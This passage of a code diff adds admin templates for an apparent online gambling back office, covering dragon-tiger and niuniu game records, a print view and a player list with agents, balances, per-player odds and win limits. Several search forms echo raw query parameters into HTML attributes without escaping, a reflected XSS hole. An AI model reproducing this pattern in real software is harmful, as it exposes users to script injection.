||||
<th>局号</th>
|
||||
<th>结果</th>
|
||||
<th>龙下注额</th>
|
||||
<th>虎下注额</th>
|
||||
<th>和下注额</th>
|
||||
<th>输赢</th>
|
||||
<th>下注时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{if $isData eq true}
|
||||
{foreach name="dt_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.user_nickname}</td>
|
||||
<td>{if $vo.agent_parent_username neq ''}{$vo.agent_parent_username}{/if}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.record_num}</td>
|
||||
<td>{$vo.result}</td>
|
||||
<td>{$vo.banker_amount}</td>
|
||||
<td>{$vo.player_amount}</td>
|
||||
<td>{$vo.tie_amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
{else}
|
||||
<tr>
|
||||
<td colspan="11" style="text-align: center;">当日暂无数据</td>
|
||||
</tr>
|
||||
{/if}
|
||||
</tbody>
|
||||
</table>
|
||||
{$dt_list->render()}
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/player/dt_record';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
// 打印数据
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var table_id = qs["table_id"];
|
||||
var username = qs["username"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(table_id == undefined){
|
||||
table_id = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title: '龙虎斗游戏记录打印',
|
||||
content: '/player/dt_record_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
// 获取参数
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var table_id = $('#table_name').val();
|
||||
var username = $('#username').val();
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(table_id == undefined){
|
||||
table_id = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = '/player/dt_record?export=1&startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,40 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">龙虎斗游戏记录</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">玩家账号</th>
|
||||
<th style="text-align: center;">代理</th>
|
||||
<th style="text-align: center;">游戏桌台</th>
|
||||
<th style="text-align: center;">局号</th>
|
||||
<th style="text-align: center;">结果</th>
|
||||
<th style="text-align: center;">龙下注额</th>
|
||||
<th style="text-align: center;">虎下注额</th>
|
||||
<th style="text-align: center;">和下注额</th>
|
||||
<th style="text-align: center;">输赢</th>
|
||||
<th style="text-align: center;">下注时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="dt_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.user_nickname}</td>
|
||||
<td>{if $vo.agent_parent_username neq ''}{$vo.agent_parent_username}{/if}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.record_num}</td>
|
||||
<td>{$vo.result}</td>
|
||||
<td>{$vo.banker_amount}</td>
|
||||
<td>{$vo.player_amount}</td>
|
||||
<td>{$vo.tie_amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,360 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.alert-main th{width:40%; border-left:none; text-align:right;}
|
||||
.alert-main td{border-right:none; }
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">玩家列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/player/index" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="status" id="status">
|
||||
<option value="-1" >请选择玩家状态</option>
|
||||
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
|
||||
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<input type="text" name="agent_parent" id="agent_parent" placeholder="请输入上级代理" autocomplete="off" class="layui-input" value="<?php if(isset($get['agent_parent'])) {echo $get['agent_parent'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>联系人</th>
|
||||
<th>手机</th>
|
||||
<th>邮箱</th>
|
||||
<th>上级代理</th>
|
||||
<th>投注方式</th>
|
||||
<th>最近上分</th>
|
||||
<th>商户余额</th>
|
||||
<th>百家乐码率(%)</th>
|
||||
<th>龙虎码率(%)</th>
|
||||
<th>总下注</th>
|
||||
<th>总赢</th>
|
||||
<th>码量</th>
|
||||
<th>日赢上限</th>
|
||||
<th>赔率</th>
|
||||
<th>创建日期</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
<td>{$vo.mobile}</td>
|
||||
<td>{$vo.email}</td>
|
||||
{if condition="$vo.agent_parent_id > 0"}
|
||||
<td>{$vo.agent_parent_username}</td>
|
||||
{else}
|
||||
<td>无</td>
|
||||
{/if}
|
||||
<td>{$vo.bet_type}</td>
|
||||
<td>{$vo.last_recharge}</td>
|
||||
<td>{$vo.money}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.agent_ximalv_dt}</td>
|
||||
<td>{$vo.all_bet_amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.maliang}</td>
|
||||
<td>{$vo.win_limit}</td>
|
||||
<th>
|
||||
<a href="javascript:;" onclick="showPrice(this)" price-username="{$vo.username}" price-banker="{$vo.price_banker}" price-player="{$vo.price_player}" price-tie-baccarat="{$vo.price_tie_baccarat}" price-pair="{$vo.price_pair}" price-dragon="{$vo.price_dragon}" price-tiger="{$vo.price_tiger}" price-tie-dt="{$vo.price_tie_dt}" price-n7-n9="{$vo.price_n7_n9}" price-nn="{$vo.price_nn}" price-5n="{$vo.price_5n}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >查看</span>
|
||||
</a>
|
||||
</th>
|
||||
<td style="width:80px;">{$vo.reg_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td class="td-status">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
|
||||
</td>
|
||||
{else}
|
||||
<td class="td-status">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">锁定中</span>
|
||||
</td>
|
||||
{/if}
|
||||
<td class="td-manage">
|
||||
{if condition="$vo.status == 1"}
|
||||
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="锁定">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">锁定</span>
|
||||
</a>
|
||||
{else}
|
||||
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="解锁">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
|
||||
</a>
|
||||
{/if}
|
||||
<a href="/player/player_edit?id={$vo.id}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
|
||||
</a>
|
||||
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$agent_list->render()}
|
||||
</div>
|
||||
<div class="alert" id="alert_price">
|
||||
<div class="alert-title" id="show_price_username"></div>
|
||||
<div class="alert-main">
|
||||
<table class="layui-table" style="margin:0;">
|
||||
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
|
||||
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
|
||||
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
|
||||
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
|
||||
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
|
||||
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
|
||||
<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
|
||||
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
|
||||
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
|
||||
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="hiddenForm('alert_price')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/player/index';
|
||||
if(id == "2") location.href = '/player/player_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
/*用户-锁定/解锁*/
|
||||
function member_stop(obj, id) {
|
||||
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
|
||||
if ($(obj).attr('title') == '锁定') {
|
||||
// 拼装数据发送后台 锁定 会员
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
query.status = 0;
|
||||
var result = ajax('/player/change_status', query);
|
||||
} else {
|
||||
// 拼装数据发送后台 解锁 会员
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
query.status = 1;
|
||||
var result = ajax('/player/change_status', query);
|
||||
}
|
||||
|
||||
// 判断结果 弹出提示
|
||||
if (result.code == 1) {
|
||||
layer.msg(result.msg, {icon: 1, time: 1500});
|
||||
setInterval(function () {
|
||||
location.reload();
|
||||
}, 1500);
|
||||
} else {
|
||||
layer.msg(result.msg, {icon: 2, time: 1500});
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
/*用户-删除*/
|
||||
function member_del(obj, id) {
|
||||
layer.confirm('确认要删除吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('删除用户出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/player/player_del',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var status = qs["status"];
|
||||
var username = qs["username"];
|
||||
var agent_parent = qs["agent_parent"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(status == undefined){
|
||||
status = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
if(agent_parent == undefined){
|
||||
agent_parent = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'玩家列表打印',
|
||||
content: '/player/player_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username+'&agent_parent='+agent_parent,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var status = $('#status').val();
|
||||
var agent_parent = $('#agent_parent').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/player/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&agent_parent="+agent_parent+"&&username="+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
|
||||
// 显示用户的赔率
|
||||
function showPrice(obj){
|
||||
// 获取赔率数据
|
||||
var price_username = $(obj).attr('price-username');
|
||||
var price_banker = $(obj).attr('price-banker');
|
||||
var price_player = $(obj).attr('price-player');
|
||||
var price_tie_baccarat = $(obj).attr('price-tie-baccarat');
|
||||
var price_pair = $(obj).attr('price-pair');
|
||||
var price_dragon = $(obj).attr('price-dragon');
|
||||
var price_tiger = $(obj).attr('price-tiger');
|
||||
var price_tie_dt = $(obj).attr('price-tie-dt');
|
||||
var price_n7_n9 = $(obj).attr('price-n7-n9');
|
||||
var price_nn = $(obj).attr('price-nn');
|
||||
var price_5n = $(obj).attr('price-5n');
|
||||
|
||||
// 显示赔率数据
|
||||
$('#show_price_username').html(price_username+" 的赔率");
|
||||
$('#show_price_banker').html(price_banker);
|
||||
$('#show_price_player').html(price_player);
|
||||
$('#show_price_tie_baccarat').html(price_tie_baccarat);
|
||||
$('#show_price_pair').html(price_pair);
|
||||
$('#show_price_dragon').html(price_dragon);
|
||||
$('#show_price_tiger').html(price_tiger);
|
||||
$('#show_price_tie_dt').html(price_tie_dt);
|
||||
$('#show_price_n7_n9').html(price_n7_n9);
|
||||
$('#show_price_nn').html(price_nn);
|
||||
$('#show_price_5n').html(price_5n);
|
||||
|
||||
$('#alert_price').show();
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#' + id).hide();
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,268 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.x-body .layui-form .layui-input-block{display:inline-block; width:150px; margin-left:0; }
|
||||
.x-so input.layui-input{width: 150px;}
|
||||
.layui-input{border: 1px solid #ccc;}
|
||||
.x-so{ margin-bottom:0;background:#f5f5f5;padding:15px 0; border-radius:10px;}
|
||||
.x-body .layui-row{margin-top:-25px;}
|
||||
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.alert-main th{width:25%; border-left:none; text-align:right;}
|
||||
.alert-main td{width:25%;}
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="dt_list actived" data-id="1">牛牛游戏记录</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/player/nn_record" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) echo $get['startDate']; ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) echo $get['endDate']; ?>">
|
||||
<div class="layui-input-block" id="search_table_name">
|
||||
<select name="table_id" lay-search>
|
||||
<option value="" selected>桌台</option>
|
||||
{volist name="table_list" id="vo"}
|
||||
<option value="{$vo.id}" <?php if( isset($get['table_id']) && $get['table_id'] == $vo['id']) echo 'selected="selected"'; ?> >{$vo.table_name}</option>
|
||||
{/volist}
|
||||
</select>
|
||||
</div>
|
||||
<input class="layui-input" placeholder="账号" name="username" id="username" value="<?php if(isset($get['username'])) echo $get['username']; ?>" lay-key="">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>玩家账号</th>
|
||||
<th>代理</th>
|
||||
<th>游戏桌台</th>
|
||||
<th>局号</th>
|
||||
<th>结果</th>
|
||||
<th>下注详情</th>
|
||||
<th>总下注额</th>
|
||||
<th>输赢</th>
|
||||
<th>下注时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{if $isData eq true}
|
||||
{foreach name="nn_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.user_nickname}</td>
|
||||
<td>{if $vo.agent_parent_username neq ''}{$vo.agent_parent_username}{/if}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.record_num}</td>
|
||||
<td>{$vo.result}</td>
|
||||
<td>
|
||||
<a href="javascript:;" onclick="showBet(this)" amount_player_1="{$vo.amount_player_1}" amount_player_1_times="{$vo.amount_player_1_times}" amount_player_1_banker="{$vo.amount_player_1_banker}" amount_player_1_banker_times="{$vo.amount_player_1_banker_times}" amount_player_2="{$vo.amount_player_2}" amount_player_2_times="{$vo.amount_player_2_times}" amount_player_2_banker="{$vo.amount_player_2_banker}" amount_player_2_banker_times="{$vo.amount_player_2_banker_times}" amount_player_3="{$vo.amount_player_3}" amount_player_3_times="{$vo.amount_player_3_times}" amount_player_3_banker="{$vo.amount_player_3_banker}" amount_player_3_banker_times="{$vo.amount_player_3_banker_times}">
|
||||
<span class="layui-btn layui-btn-mini" style="background:#009688;" >查看</span>
|
||||
</a>
|
||||
</td>
|
||||
<td>{$vo.amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
{else}
|
||||
<tr>
|
||||
<td colspan="11" style="text-align: center;">当日暂无数据</td>
|
||||
</tr>
|
||||
{/if}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<div class="alert" id="bet_info">
|
||||
<div class="alert-title">下注详情</div>
|
||||
<div class="alert-main">
|
||||
<table class="layui-table" style="margin:0;">
|
||||
<tr>
|
||||
<th>闲一平倍:</th>
|
||||
<td id="amount_player_1"></td>
|
||||
<th>闲一翻倍:</th>
|
||||
<td id="amount_player_1_times"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>闲一庄平倍:</th>
|
||||
<td id="amount_player_1_banker"></td>
|
||||
<th>闲一庄翻倍:</th>
|
||||
<td id="amount_player_1_banker_times"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>闲二平倍:</th>
|
||||
<td id="amount_player_2"></td>
|
||||
<th>闲二翻倍:</th>
|
||||
<td id="amount_player_2_times"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>闲二庄平倍:</th>
|
||||
<td id="amount_player_2_banker"></td>
|
||||
<th>闲二庄翻倍:</th>
|
||||
<td id="amount_player_2_banker_times"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>闲三平倍:</th>
|
||||
<td id="amount_player_3"></td>
|
||||
<th>闲三翻倍:</th>
|
||||
<td id="amount_player_3_times"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>闲三庄平倍:</th>
|
||||
<td id="amount_player_3_banker"></td>
|
||||
<th>闲三庄翻倍:</th>
|
||||
<td id="amount_player_3_banker_times"></td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="hiddenForm('bet_info')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/player/dn_record';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
// 打印数据
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var table_id = qs["table_id"];
|
||||
var username = qs["username"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(table_id == undefined){
|
||||
table_id = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title: '牛牛游戏记录打印',
|
||||
content: '/player/nn_record_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var table_id = $('#table_id').val();
|
||||
var username = $('#username').val();
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(table_id == undefined){
|
||||
table_id = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = '/player/nn_record?export=1&startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
// 显示用户的下注详情
|
||||
function showBet(obj){
|
||||
